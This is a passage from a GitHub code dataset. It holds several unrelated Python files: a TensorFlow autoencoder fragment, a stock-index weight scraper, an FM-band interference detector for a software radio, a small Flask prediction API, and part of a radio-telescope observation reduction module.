'z_mean': tf.Variable(glorot_init([latent_dim])),\n 'z_std': tf.Variable(glorot_init([latent_dim])),\n 'decoder_b1': tf.Variable(glorot_init([hidden_dim])),\n 'decoder_b2': tf.Variable(glorot_init([hidden_dim])),\n 'decoder_out': tf.Variable(glorot_init([num_input]))\n}\n\n\n# Building the encoder\ndef encoder(x): \n encoder = tf.matmul(x, weights['encoder_h1']) + biases['encoder_b1']\n encoder = tf.nn.tanh(encoder)\n encoder = tf.matmul(encoder, weights['encoder_h2']) + biases['encoder_b2']\n encoder = tf.nn.tanh(encoder)\n z_mean = tf.matmul(encoder, weights['z_mean']) + biases['z_mean']\n z_std = tf.matmul(encoder, weights['z_std']) + biases['z_std']\n\n # Sampler: Normal (gaussian) random distribution\n eps = tf.random_normal(tf.shape(z_std), dtype=tf.float32, mean=0., stddev=1.0,\n name='epsilon')\n z = z_mean + tf.exp(z_std / 2) * eps\n\n return z_mean, z_std, z, encoder\n\n# Building the decoder (with scope to re-use these layers later)\ndef decoder(z):\n decoder = tf.matmul(z, weights['decoder_h1']) + biases['decoder_b1']\n decoder = tf.nn.tanh(decoder)\n decoder = tf.matmul(z, weights['decoder_h2']) + biases['decoder_b2']\n decoder = tf.nn.tanh(decoder)\n decoder = tf.matmul(decoder, weights['decoder_out']) + biases['decoder_out']\n decoder = tf.nn.sigmoid(decoder)\n\n return decoder\n\n","repo_name":"An5r3a/UDAR","sub_path":"Code/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2779,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"26496414152","text":"import tushare as ts\nimport requests\nimport re\nimport os\nos.chdir('C:\\\\Users\\\\baiqy\\\\Desktop\\\\quant\\\\cyb_notify')\n\nclass cyb_weight:\n\n def __init__(self):\n self.all = ts.get_stock_basics()\n\n def industry_weights(self):\n cyb_stock_codes = self.cyb_codes()\n weight_map = {}\n for stock in cyb_stock_codes:\n print(stock)\n stock_weight = self.stock_cyb_weight(stock)\n print(stock_weight)\n stock_industry = self.get_industry(stock)\n print(stock_industry)\n if stock_industry != None:\n print(weight_map)\n if weight_map.get(stock_industry) == None:\n weight_map[stock_industry] = stock_weight\n else:\n weight_map[stock_industry] = weight_map[stock_industry] + stock_weight\n else:\n raise Exception(\"get industry None\")\n\n for item in weight_map.items():\n with open('config\\\\cyb_industry_weight.info', 'w') as f:\n f.write(str(item[0])+\"\\t\"+str(item[1]))\n print (weight_map)\n return weight_map\n\n def cyb_codes(self):\n url = '''http://vip.stock.finance.sina.com.cn/corp/go.php/vII_NewestComponent/indexid/399006.phtml'''\n html = self.downLoad(url)\n codes = []\n for e in html.split(\"
=f_min_canal) & (data['Frecuencia']<=f_max_canal)]\n data_canal=data_canal.reset_index(drop=True)\n return data_canal\n\ndef minima_senal_detectable(num):\n return num\n\n\ndef detection_limit(n,umbral,constante):\n if n <= umbral: \n return constante\n else:\n return n\n\n\ndef comparacion(senal_referencia,senal_comparacion):\n\n\n corr=senal_referencia.corr(senal_comparacion)\n corr_validation=np.isnan(corr)\n if corr_validation==True:\n corr=0.2\n rmse=mean_squared_error(senal_referencia,senal_comparacion,squared=True)\n\n if rmse > 10:\n rmse_list=[]\n for i in range(50):\n rmse=mean_squared_error(senal_referencia,senal_comparacion,squared=True)\n rmse_list.append(rmse)\n rmse=min(rmse_list)\n return corr,rmse\n\n\ndef minimun_signal_detectable(dict,data):\n for key in dict:\n values=dict[key]\n condicicon=values[2]\n if condicicon=='libre':\n data_canal=canal_filter(data,values[0],values[1])\n if data_canal['Potencia'].max() < -25:\n umbral = data_canal['Potencia'].max()\n senal_referencia=data_canal['Potencia'].apply(detection_limit,args=(umbral,umbral))\n \n print('El umbral es: '+ str(umbral)+' dBm'+' del '+str(key))\n return umbral, senal_referencia \n\n \ndef signal_coherence(senal_referencia,senal_comparacion):\n f, Cxy = signal.coherence(senal_referencia,senal_comparacion)\n return Cxy\n\n\ndef run(data,f_min_canal,f_max_canal,umbral,senal_referencia):\n data_canal=canal_filter(data,f_min_canal,f_max_canal)\n #umbral=data_canal['Potencia'].max()\n #senal_referencia=data_canal['Potencia'].apply(detection_limit,args=(umbral,umbral))\n senal_comparacion=data_canal['Potencia'].apply(detection_limit,args=(umbral,umbral))\n\n if senal_comparacion.shape[0] != senal_referencia.shape[0]:\n senal_comparacion=senal_comparacion[0:senal_referencia.shape[0]]\n \n corr,rmse = comparacion(senal_referencia,senal_comparacion) #compararmos la senal con la misma solo para probar \n #coherencia = signal_coherence(senal_referencia,senal_comparacion)\n return corr, data_canal,rmse\n\n\ndef primera_iteracion():\n\n f_min = 88e6\n f_max = 92e6\n veces=50\n \n canales ={\n 'canal 1': [88.0000,88.19000,'libre'],\n 'canal 2': [88.2000,88.39000,'libre'],\n 'canal 3': [88.4000,88.59000,'usado'],\n 'canal 4': [88.6000,88.79000,'libre'],\n 'canal 5': [88.8000,88.99000,'libre'],\n 'canal 6': [89.0000,89.19000,'libre'],\n 'canal 7': [89.2000,89.39000,'libre'],\n 'canal 8': [89.4000,89.59000,'libre'],\n 'canal 9': [89.6000,89.79000,'usado'],\n 'canal 10': [89.8000,89.99000,'libre'],\n 'canal 11': [90.0000,90.19000,'usado'],\n 'canal 12': [90.2000,90.39000,'libre'],\n 'canal 13': [90.4000,90.59000,'usado'],\n 'canal 14': [90.6000,90.79000,'libre'],\n 'canal 15': [90.8000,90.99000,'usado'],\n 'canal 16': [91.0000,91.19000,'libre'],\n 'canal 17': [91.2000,91.39000,'usado'],\n 'canal 18': [91.4000,91.59000,'libre'],\n 'canal 19': [91.6000,91.79000,'usado'],\n 'canal 20': [91.8000,91.99000,'libre'],\n \n }\n\n rate_best, freqs, nfreq, npsd_res, npsd_avg, nsamp, nfreq_spec, samples, psd_array, freq_array, relative_power_array, psd_total= setup(f_min, f_max,veces)\n data=readsdr(rate_best, freqs, nfreq, npsd_res, npsd_avg, nsamp, nfreq_spec, samples, psd_array, freq_array, relative_power_array, psd_total,veces)\n umbral,senal_referencia=minimun_signal_detectable(canales,data)\n\n for key in canales:\n values=canales[key]\n condicicon=values[2]\n if condicicon=='libre':\n \n f_min_canal=values[0]\n f_max_canal=values[1]\n\n corr,data_canal,rmse=run(data,f_min_canal,f_max_canal,umbral,senal_referencia)\n print('El rmse es: '+ str(rmse))\n print('La correlacion es ' + str(corr))\n if corr < 0.5 and rmse > 10 :\n maxim=data_canal['Potencia'].max()\n idmax=data_canal['Potencia'].idxmax()\n #print(rmse)\n if maxim > -20 and maxim < 200:\n \n print(data_canal.loc[idmax])\n print(maxim)\n else:\n print('No hay interferencia en el ' + str(key))\n \n\ndef segunda_iteracion():\n\n f_min = 92e6\n f_max = 96e6\n veces=50\n \n canales ={\n 'canal 21': [92.0000,92.19000,'usado'],\n 'canal 22': [92.2000,92.39000,'libre'],\n 'canal 23': [92.4000,92.59000,'usado'],\n 'canal 24': [92.6000,92.79000,'libre'],\n 'canal 25': [92.8000,92.99000,'libre'],\n 'canal 26': [93.0000,93.19000,'libre'],\n 'canal 27': [93.2000,93.39000,'usado'],\n 'canal 28': [93.4000,93.59000,'libre'],\n 'canal 29': [93.6000,93.79000,'usado'],\n 'canal 30': [93.8000,93.99000,'libre'],\n 'canal 31': [94.0000,94.19000,'usado'],\n 'canal 32': [94.2000,94.39000,'libre'],\n 'canal 33': [94.4000,94.59000,'libre'],\n 'canal 34': [94.6000,94.79000,'libre'],\n 'canal 35': [94.8000,94.99000,'usado'],\n 'canal 36': [95.0000,95.19000,'libre'],\n 'canal 37': [95.2000,95.39000,'usado'],\n 'canal 38': [95.4000,95.59000,'libre'],\n 'canal 39': [95.6000,95.79000,'usado'],\n 'canal 40': [95.8000,95.99000,'libre'],\n } \n\n rate_best, freqs, nfreq, npsd_res, npsd_avg, nsamp, nfreq_spec, samples, psd_array, freq_array, relative_power_array, psd_total= setup(f_min, f_max,veces)\n data=readsdr(rate_best, freqs, nfreq, npsd_res, npsd_avg, nsamp, nfreq_spec, samples, psd_array, freq_array, relative_power_array, psd_total,veces)\n umbral,senal_referencia=minimun_signal_detectable(canales,data)\n\n for key in canales:\n values=canales[key]\n condicicon=values[2]\n if condicicon=='libre':\n \n f_min_canal=values[0]\n f_max_canal=values[1]\n\n corr,data_canal,rmse=run(data,f_min_canal,f_max_canal,umbral,senal_referencia)\n print('El rmse es: '+ str(rmse))\n print('La correlacion es ' + str(corr))\n if corr < 0.5 and rmse >10:\n maxim=data_canal['Potencia'].max()\n idmax=data_canal['Potencia'].idxmax()\n if maxim > -25 and maxim < 200:\n \n print(data_canal.loc[idmax])\n print(maxim)\n else:\n print('No hay interferencia en el ' + str(key))\n \ndef tercera_iteracion():\n\n f_min = 96e6\n f_max = 100e6\n veces=50\n \n canales ={\n 'canal 41': [96.0000,96.19000,'usado'],\n 'canal 42': [96.2000,96.39000,'libre'],\n 'canal 43': [96.4000,96.59000,'usado'],\n 'canal 44': [96.6000,96.79000,'libre'],\n 'canal 45': [96.8000,96.99000,'usado'],\n 'canal 46': [97.0000,97.19000,'libre'],\n 'canal 47': [97.2000,97.39000,'usado'],\n 'canal 48': [97.4000,97.59000,'libre'],\n 'canal 49': [97.6000,97.79000,'usado'],\n 'canal 50': [97.8000,97.99000,'libre'],\n 'canal 51': [98.0000,98.19000,'usado'],\n 'canal 52': [98.2000,98.39000,'libre'],\n 'canal 53': [98.4000,98.59000,'libre'],\n 'canal 54': [98.6000,98.79000,'libre'],\n 'canal 55': [98.8000,98.99000,'usado'],\n 'canal 56': [99.0000,99.19000,'libre'],\n 'canal 57': [99.2000,99.39000,'usado'],\n 'canal 58': [99.4000,99.59000,'libre'],\n 'canal 59': [99.6000,99.79000,'usado'],\n 'canal 60': [99.8000,99.99000,'libre'],\n } \n\n rate_best, freqs, nfreq, npsd_res, npsd_avg, nsamp, nfreq_spec, samples, psd_array, freq_array, relative_power_array, psd_total= setup(f_min, f_max,veces)\n data=readsdr(rate_best, freqs, nfreq, npsd_res, npsd_avg, nsamp, nfreq_spec, samples, psd_array, freq_array, relative_power_array, psd_total,veces)\n umbral,senal_referencia=minimun_signal_detectable(canales,data)\n\n for key in canales:\n values=canales[key]\n condicicon=values[2]\n if condicicon=='libre':\n \n f_min_canal=values[0]\n f_max_canal=values[1]\n\n corr,data_canal,rmse=run(data,f_min_canal,f_max_canal,umbral,senal_referencia)\n print('El rmse es: '+ str(rmse))\n print('La correlacion es ' + str(corr))\n if corr < 0.5 and rmse >10:\n maxim=data_canal['Potencia'].max()\n idmax=data_canal['Potencia'].idxmax()\n if maxim > -20 and maxim < 200:\n print(data_canal.loc[idmax])\n print(maxim)\n else:\n print('No hay interferencia en el ' + str(key))\n\n\n\ndef cuarta_iteracion():\n\n f_min = 100e6\n f_max = 104e6\n veces=50\n \n canales ={\n 'canal 61': [100.0000,100.19000,'usado'],\n 'canal 62': [100.2000,100.39000,'libre'],\n 'canal 63': [100.4000,100.59000,'usado'],\n 'canal 64': [100.6000,100.79000,'libre'],\n 'canal 65': [100.8000,100.99000,'libre'],\n 'canal 66': [101.0000,101.19000,'libre'],\n 'canal 67': [101.2000,101.39000,'usado'],\n 'canal 68': [101.4000,101.59000,'libre'],\n 'canal 69': [101.6000,101.79000,'usado'],\n 'canal 70': [101.8000,101.99000,'libre'],\n 'canal 71': [102.0000,102.19000,'usado'],\n 'canal 72': [102.2000,102.39000,'libre'],\n 'canal 73': [102.4000,102.59000,'usado'],\n 'canal 74': [102.6000,102.79000,'libre'],\n 'canal 75': [102.8000,102.99000,'usado'],\n 'canal 76': [103.0000,103.19000,'libre'],\n 'canal 77': [103.2000,103.39000,'usado'],\n 'canal 78': [103.4000,103.59000,'libre'],\n 'canal 79': [103.6000,103.79000,'usado'],\n 'canal 80': [103.8000,103.99000,'libre'],\n } \n\n rate_best, freqs, nfreq, npsd_res, npsd_avg, nsamp, nfreq_spec, samples, psd_array, freq_array, relative_power_array, psd_total= setup(f_min, f_max,veces)\n data=readsdr(rate_best, freqs, nfreq, npsd_res, npsd_avg, nsamp, nfreq_spec, samples, psd_array, freq_array, relative_power_array, psd_total,veces)\n umbral,senal_referencia=minimun_signal_detectable(canales,data)\n\n for key in canales:\n values=canales[key]\n condicicon=values[2]\n if condicicon=='libre':\n \n f_min_canal=values[0]\n f_max_canal=values[1]\n\n corr,data_canal,rmse=run(data,f_min_canal,f_max_canal,umbral,senal_referencia)\n print('El rmse es: '+ str(rmse))\n print('La correlacion es ' + str(corr))\n if corr < 0.5 and rmse >10:\n maxim=data_canal['Potencia'].max()\n idmax=data_canal['Potencia'].idxmax()\n if maxim > -20 and maxim < 200:\n print(data_canal.loc[idmax])\n print(maxim)\n else:\n print('No hay interferencia en el ' + str(key))\n\ndef quinta_iteracion():\n\n f_min = 104e6\n f_max = 108e6\n veces=50\n \n canales ={\n 'canal 81': [104.0000,104.19000,'usado'],\n 'canal 82': [104.2000,104.39000,'libre'],\n 'canal 83': [104.4000,104.59000,'usado'],\n 'canal 84': [104.6000,104.79000,'libre'],\n 'canal 85': [104.8000,104.99000,'usado'],\n 'canal 86': [105.0000,105.19000,'libre'],\n 'canal 87': [105.2000,105.39000,'usado'],\n 'canal 88': [105.4000,105.59000,'libre'],\n 'canal 89': [105.6000,105.79000,'usado'],\n 'canal 90': [105.8000,105.99000,'libre'],\n 'canal 91': [106.0000,106.19000,'usado'],\n 'canal 92': [106.2000,106.39000,'libre'],\n 'canal 93': [106.4000,106.59000,'usado'],\n 'canal 94': [106.6000,106.79000,'libre'],\n 'canal 95': [106.8000,106.99000,'usado'],\n 'canal 96': [107.0000,107.19000,'libre'],\n 'canal 97': [107.2000,107.39000,'usado'],\n 'canal 98': [107.4000,107.59000,'libre'],\n 'canal 99': [107.6000,107.79000,'usado'],\n 'canal 100': [107.8000,107.99000,'libre'],\n } \n\n rate_best, freqs, nfreq, npsd_res, npsd_avg, nsamp, nfreq_spec, samples, psd_array, freq_array, relative_power_array, psd_total= setup(f_min, f_max,veces)\n data=readsdr(rate_best, freqs, nfreq, npsd_res, npsd_avg, nsamp, nfreq_spec, samples, psd_array, freq_array, relative_power_array, psd_total,veces)\n umbral,senal_referencia=minimun_signal_detectable(canales,data)\n\n for key in canales:\n values=canales[key]\n condicicon=values[2]\n if condicicon=='libre':\n \n f_min_canal=values[0]\n f_max_canal=values[1]\n\n corr,data_canal,rmse=run(data,f_min_canal,f_max_canal,umbral,senal_referencia)\n print('El rmse es: '+ str(rmse))\n print('La correlacion es ' + str(corr))\n if corr < 0.5 and rmse >10:\n maxim=data_canal['Potencia'].max()\n idmax=data_canal['Potencia'].idxmax()\n if maxim > -20 and maxim < 200:\n print(data_canal.loc[idmax])\n print(maxim)\n else:\n print('No hay interferencia en el ' + str(key))\n\n\n\n\nif __name__ == \"__main__\":\n primera_iteracion()\n segunda_iteracion()\n tercera_iteracion()\n cuarta_iteracion()\n quinta_iteracion()\n\n\n\n\n","repo_name":"NeoGeoXL/Tesis","sub_path":"main17_base_comparacion_de_codigo.py","file_name":"main17_base_comparacion_de_codigo.py","file_ext":"py","file_size_in_byte":15922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"21185985438","text":"from sklearn.externals import joblib\nimport pandas as pd\nimport json\nfrom flask import Flask, request\n\nregressor = joblib.load('water_supply.pkl')\napp = Flask(__name__)\n\n@app.route('/preds', methods=['POST'])\ndef preds():\n data = request.data.decode('utf-8')\n data = json.loads(data)\n\n hour = data['hour']\n temperature = data['temperature']\n\n input = pd.DataFrame([[hour, temperature]], columns=['hour', 'temperature'])\n\n result = regressor.predict(input)\n result = str(result[0])\n return result\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0')","repo_name":"watarium/jupyter_water_supply_xgboost","sub_path":"rest_api.py","file_name":"rest_api.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"37129704392","text":"# -*- coding: utf-8 -*-\n\"\"\"\nClasses for reducing observations\n\nThis was designed to support Malargue observations but can be used for other\nobservatories (identified by a DSS number) that produce a single text file in\nrow/column format.\n\nAn ``Observation`` object comprises a data structure in this form::\n\n UNIXtime NP.float (N,) seconds since 1970.0\n azimuth NP.float (N,) horizon system longitude (deg)\n elevation NP.float (N,) horizon system latitude (deg)\n RA NP.float (N,) apparent topocentric right ascension\n dec NP.float (N,) apparent topocentric declination\n MPL_datenum NP.float (N,) number of days since 0001-01-01 UTC +1\n ({*e.g.* 0001-01-01, 06:00 is 1.25)\n power NP.float {ch:(N,),... } or equivalent, like detector volts,\n for each channel\n freq float {ch: ?} frequency of the channel (MHz)\n pol str {ch: ?} polarization of the channel\n\nNotes\n=====\n\nData from a text file::\n\n * The original data are provided as a 2D text array. Each provided parameter\n must be in a column.\n * If the column names in the text file are not suitable, then there must be\n a dict to map parameter name to column number.\n * The telescope position and other attributes are determined from its DSN\n number designation, *e.g.* ``DSS(28)``.\n * If the mean astrometic geocentric position (RA, dec from a catalog at some\n epoch) is given, then the topocentric apparent celestial position\n (RA, dec for the date of observation) is computed, and then the\n topocentric horizontal position (az, el) is computed.\n * If a topocentric position is given, then the topocentric apparent celestial\n position is computed.\n\nData from a ``numpy`` (structured) ``ndarray``::\n\n * If the data are provided as a structured NP array, then the ``names`` item\n of the array must use those defined above.\n\nAdditional items::\n\n * Other items may be defined for the dict but might not be used by the\n ``Observation`` object.\n * ``MPL_datenum`` is computed from ``UNIXtime`` for convenience in plotting\n time series.\n\"\"\"\nimport pickle as pickle\nimport datetime\nimport ephem\nimport logging\nimport math\nimport matplotlib.dates as mpd\nimport numpy as NP\nimport os\nimport stat\nimport sys\nimport time\n\nimport Astronomy as A\nimport Astronomy.Ephem as Aeph\nimport Data_Reduction as DR\nimport local_dirs\nimport Math.least_squares as lsq\nimport Radio_Astronomy as RA\nimport support\n\nlogger = logging.getLogger(__name__)\n\nMalargue = Aeph.DSS(84)\nlongitude = -Malargue.long*180/math.pi\nlatitude = Malargue.lat*180/math.pi\nf_max = 32. # GHz for default step size\nwl_min = f_max/300\ntaper = 12 # dB\nhpbw = RA.HPBW(taper, wl_min, 34)*180/math.pi # deg\ndefault_step = hpbw/3.\n\ndef DSS84_beamtaper(freq):\n \"\"\"\n ad hoc fit to beamwidth vs frequency plot\n \"\"\"\n if freq < 7:\n taper=0\n else:\n taper = 50*(log10(freq)-log10(7))\n return taper\n \ndef DSS84_beamwidth(freq):\n \"\"\"\n beamwidth in deg. with edge taper\n \"\"\"\n return RA.HPBW(DSS84_beamtaper(freq), 0.3/float(freq), 34)*180/math.pi\n\nclass Observation(DR.Observation, DR.DataGetterMixin):\n \"\"\"\n Class for any group of data for a single purpose.\n \n **Attributes**\n \n channels : list of str\n active channels\n conv_cfg : dict\n converter configuration\n end : float\n observation end UNIX time, provided by the subclasses\n logger\n ``logging.Logger`` instance\n parent : ``Session`` instance\n a collection or group of observations\n rss_cfg : dict\n receiver configuration\n start : float\n observation start UNIX time, provided by the subclasses\n \"\"\"\n def __init__(self, parent=None, name=None, # for the superclass\n dss=None, date=None, project='Malargue',\n datafile=None, delimiter=\" \", # for the data file\n skip_header=0, names=True, aliases=None, props=None):\n \"\"\"\n Initialize an Observation object\n \n Args:\n parent (Session): optional\n name (str): optional name for this observation\n dss (int): required station number\n date (str): YEAR/DOY, required to find session files\n project (str): required used to find session files\n datafile (str): name of file in session directory\n delimiter (str): as defined for ``genfromtxt``\n skip_header (int): rows at start to ignore\n names (bool or list of str): first row has column names\n aliases (list of str): map text column names to data names\n props (dict of dicts): signal properties\n \"\"\"\n logger.debug(\"Observation.__init__: initializing...\")\n if parent:\n loggername = parent.logger.name+\".Observation\"\n else:\n loggername = \"ObservationLogger\"\n self.logger = logging.getLogger(loggername)\n self.session = parent\n DR.Observation.__init__(self, parent=parent, name=name, dss=dss, date=date,\n project=project)\n # map text file column names to ndarray data names\n self.aliases = {}\n if aliases:\n self.aliases.update(aliases)\n # get the data\n self.datafile = datafile\n if datafile:\n data = self.open_datafile(datafile, delimiter=delimiter, \n names=names, \n skip_header=skip_header)\n numdata = len(data)\n self.logger.debug(\"__init__: %d samples\", numdata)\n names = data.dtype.names\n self.logger.info(\"__init__: column names = %s\", names)\n metadata, signals = self.get_data_channels(data)\n self.make_data_struct(data, metadata, signals) # this makes self.data\n self.make_channels(signals, props=props)\n else:\n self.logger.warning(\"__init__: must call method 'open_datafile()' next\")\n\n def get_active_channels(self, filename):\n \"\"\"\n Returns IDs of channels which took data during this observation\n \n This is intended to be Malargue-specific in that the allowed signal names\n are predefined. \n \"\"\"\n allowed = [\"XL\", \"XR\", \"KaL\", \"KaR\", \"power\"]\n try:\n self.logger.debug(\"get_active_channels: %s\", self.channels)\n except:\n self.channels = []\n fd = open(filename,\"rt\")\n self.names = fd.readline().strip().split()\n self.logger.debug(\"get_active_channels: columns=%s\", self.names)\n for name in self.names:\n if name in allowed:\n self.channels.append(name)\n fd.close()\n return self.channels\n\nclass Map(Observation, DR.Map):\n \"\"\"\n \"\"\"\n def __init__(self, parent=None, name=None, dss=84, date=None, \n project=\"SolarPatrol\", datafile=None, source=\"Sun\",\n step=None, props=None):\n \"\"\"\n put Malargue-specific initialization here\n \"\"\"\n logger.debug(\"Map.__init__: initializing...\")\n Observation.__init__(self, parent=parent, name=name, dss=dss, date=date,\n project=project, datafile=datafile, step=step,\n props=props)\n self.get_offsets(source=\"Venus\")\n \nclass BoresightScan(Observation):\n \"\"\"\n class for a single scan during a boresight\n \n Attributes::\n axis - direction of the scan\n bs_data - scan data (time, positions and Tsys) from 'xpwr' table\n cal_flux - flux of the calibrator source\n cal_src - source used to set the flux scale\n chan - channel used for the boresight by EAC program 'xant'\n data - scan data (time, positions and Tsys) from 'tlog' table\n diode - state of the noise diode\n epoch - UNIX time start of scan\n freq - frequency xant used to fit 'xpwr' data, in MHz\n IFbw - IF band width in MHz\n IFmode - IF phasing\n logger - logging.Logger object\n log_data - data from 'tlog' table\n name - identifier string based on xpwr_cfg_id\n pol - channel polarization\n session - parent Session object\n source - name of scanned source\n \"\"\"\n def __init__(self, parent, xpwr_cfg_id, source=None, axis='dec'):\n \"\"\"\n initialize the class\n \n @param parent : 'self' of the calling method\n @type parent : Session object\n @param xpwr_cfg_id : row identifier in table 'xpwr_cfg'\n @type xpwr_cfg_id : int\n \n From examination of the data it was concluded that the correct values of\n 'axis' and 'source-Id' are those for row 'xpwr_cfg_id\" + 1.\n \"\"\"\n Observation.__init__(self, parent)\n self.logger = logging.getLogger(parent.logger.name+\".BoresightScan\")\n self.name = \"boresight\"+str(xpwr_cfg_id)\n if source: \n # this is the source at the center of the scan\n self.source = source\n self.logger.debug(\"__init__: central source is %s\", self.source)\n # we assume this source is a recognized calibrator\n self.calibrator = Aeph.calibrator(self.source)\n self.axis = axis\n # code to get data\n \n def fit_gaussian(self, channel, beam_limit=2.5):\n \"\"\"\n Fit the scan to a Gaussian and a baseline\n \n Extract the appropriate data::\n \n For raster scans, 'xdec' means that 'xdec' stays fixed while the\n antenna moves up and down; 'dec' means that 'dec' stays fixed while the\n left and right.\n \n The Gaussian is assumed to fit the inner five beamwidths of the data,\n though that limit can be adjusted. The baseline is the rest of the data,\n although the lower baseline includes at least data[:5] and the upper\n baseline includes data[-5:]\n \n @param channel : channel whose data will be fit (required)\n @type channel : int\n \n @param beam_limit : distance from the center included in Gaussian fit\n @type beam_limit : float\n \"\"\"\n self.logger.debug(\"fit_gaussian: direction is %s\", self.axis)\n # get offsets if necessary\n if ('data' in self.__dict__) == False:\n self.get_offsets()\n # remember that GAVRT nomenclature seems backwards\n if self.axis.lower() == 'xdec':\n x = NP.array(self.data['dec_offset']) # NP.array(self.ddecs)\n else:\n x = NP.array(self.data['xdec_offset']) # NP.array(self.dxdecs)\n self.logger.debug(\"fit_gaussian: selected x: %s\", x)\n tsys = self.data['VFC_counts'][channel]\n # define the domain of the Gaussian fit:\n beam_index = tsys.argmax() # NP.array(self.data).argmax()\n self.logger.debug(\"fit_gaussian: peak at index %d\", beam_index)\n beam_center = x[beam_index]\n self.logger.debug(\"fit_gaussian: peak at x = %f\", beam_center)\n beamwidth = DSS84_beamwidth(self.data['freq'][channel]/1000)\n self.logger.debug(\"fit_gaussian: beamwidth = %f deg\", beamwidth)\n lower_limit = beam_center - beam_limit*beamwidth # source scan starts here\n upper_limit = beam_center + beam_limit*beamwidth # source scan ends here\n self.logger.debug(\"fit_gaussian: scan lower limit: %f\", lower_limit)\n self.logger.debug(\"fit_gaussian: scan upper limit: %f\", upper_limit)\n # Define baseline ranges for the lower end and the upper end of the spectrum\n # * 'lower_baseline' and 'upper_baseline' are 2-item lists\n # * assume that there are at least 5 data points for each baseline section\n if x[0] < x[-1]: # increasing X-coordinate\n # scans go from low sample to high sample\n if lower_limit < x[5]: # source scan starts inside lower baseline segment\n lower_baseline = [0,5] # force 5 baseline points\n else:\n lower_baseline = [0, support.nearest_index(x, lower_limit)]\n if upper_limit > x[-5]: # source scan starts inside upper baseline segment\n upper_baseline = [-6,-1] # force 5 baseline points\n else:\n upper_baseline = [support.nearest_index(x, upper_limit), -1]\n else:\n # scans go from high sample to low sample\n if upper_limit > x[5]: \n upper_baseline = [0, support.nearest_index(x,upper_limit)]\n else:\n upper_baseline = [0,5]\n if lower_limit < x[-5]:\n lower_baseline = [-6,-1]\n else:\n lower_baseline = [support.nearest_index(x,lower_limit), -1]\n self.logger.debug(\"fit_gaussian: lower baseline: %s\", lower_baseline)\n self.logger.debug(\"fit_gaussian: upper baseline: %s\", upper_baseline)\n # define the baseline data\n xdata = NP.append(x[lower_baseline[0]:lower_baseline[1]],\n x[upper_baseline[0]:upper_baseline[1]]).astype(float)\n ydata = NP.append(tsys[lower_baseline[0]:lower_baseline[1]],\n tsys[upper_baseline[0]:upper_baseline[1]]).astype(float)\n # Fit baseline\n self.baseline_pars = NP.polyfit(xdata,ydata,1)\n self.logger.debug(\"fit_gaussian: baseline parameters: %s\", self.baseline_pars)\n # Fit the beam\n zdata = NP.array(tsys).astype(float)\n self.logger.debug(\"fit_gaussian: zdata: %s\", zdata)\n height = zdata[beam_index] - NP.polyval(self.baseline_pars, x[beam_index])\n self.logger.debug(\"fit_gaussian: height: %s\", height)\n sigma = lsq.st_dev(beamwidth)\n initial_guess = [height, beam_center, sigma]\n # in this case we only fit out to one beamwidth\n if x[0] < x[-1]:\n xfit = x[support.nearest_index(x,beam_center-beamwidth):support.nearest_index(x,beam_center+beamwidth)]\n y = zdata[support.nearest_index(x,beam_center-beamwidth):support.nearest_index(x,beam_center+beamwidth)]\n else:\n xfit = x[support.nearest_index(x,beam_center+beamwidth):support.nearest_index(x,beam_center-beamwidth)]\n y = zdata[support.nearest_index(x,beam_center+beamwidth):support.nearest_index(x,beam_center-beamwidth)]\n self.pars, err = lsq.fit_gaussian(lsq.gaussian_error_function,\n initial_guess,\n xfit,\n y-NP.polyval(self.baseline_pars,xfit))\n return self.baseline_pars, self.pars, err\n\nclass Session(object):\n \"\"\"\n Class for an observing session on a given year and DOY\n \n Public Attributes::\n boresights - dict keyed on 'xpwr_cfg_id' with 2D arrays for scan metadata\n bs_channels - dict keyed on 'xpwr_cfg_id' with lists of active channels\n bs_data - dict keyed on 'xpwr_cfg_id' with 2D rrays for 'tlog' data\n db - database\n doy - day of year for session\n logger - logging.Logger object\n maps - maps in this session\n session_dir - path to results from this session\n xpwr_metadata - 2D array with data for each 'xpwr' configuration\n year - year for session\n \n Notes on Data Arrays::\n * 'boresights' 2D-arrays have a row for each scan of the boresight and columns for::\n 0 - 'xscan_id',\n 1 - 'xpwr_cfg_id', and\n 2 - 'epoch'.\n * 'bs_data' 2D-arrays have a row for each 'tlog' row and columns for:: \n 0 - UNIX time,\n 1 - counts,\n 2 - integration time,\n 3 - azimuth,\n 4 - elevation,\n 5 - noise diode state, and\n 6 - channel [if argument chan=None; see get_boresight_data()]\n * 'xpwr_metadata' is a 2D-array with a row for each configuration and columns::\n 0 - 'xpwr_cfg_id'\n 1 - UNIX time,\n 2 - rss_cfg_id,\n 3 - source_id,\n 4 - axis, and\n 5 - chan\n \"\"\"\n def __init__(self, parent, year, doy, plotter=False):\n \"\"\"\n \"\"\"\n if parent:\n self.logger = logging.getLogger(parent.logger.name+\".Session\")\n else:\n self.logger = logging.getLogger(logger.name+\".Session\")\n if parent:\n self.db = parent\n else:\n self.db = DSS28db() # default is GAVRT\n self.year = year\n self.doy = doy\n if plotter == False:\n # instantiating map plotters also gets the maps\n self.get_maps()\n self.get_boresights()\n self.get_session_dir()\n\n def get_session_dir(self):\n obs_dir = local_dirs.projects_dir+\"SolarPatrol/Observations/Malargue/\"\n self.session_dir = obs_dir + \"%4d\" % self.year +\"/\"+ \"%03d\" % self.doy +\"/\"\n if not os.path.exists(self.session_dir):\n os.makedirs(self.session_dir, mode=0o775)\n \n def summary(self, save=False):\n if not self.list_maps(save=save):\n print(\"no usable maps found\")\n else:\n self.show_images()\n if not self.make_bs_dir(save=save):\n print(\"no usable boresights found\")\n else:\n self.show_boresights()\n\n # ------------------------------ maps ---------------------------------------\n def get_map_IDs(self):\n \"\"\"\n \"\"\"\n map_cfg_ids = []\n self.logger.debug(\"get_maps: map IDs: %s\", map_cfg_ids)\n return map_cfg_ids\n\n def get_maps(self, map_IDs=[]):\n \"\"\"\n Returns maps from the raster configuration IDs for the specified date\n \"\"\"\n if map_IDs == []:\n map_cfg_ids = self.get_map_IDs()\n else:\n map_cfg_ids = NP.array(map_IDs)\n self.logger.debug(\"get_maps: map IDs: %s\", map_cfg_ids)\n if map_cfg_ids.any():\n self.maps = {}\n for map_id in map_cfg_ids[:,0]:\n 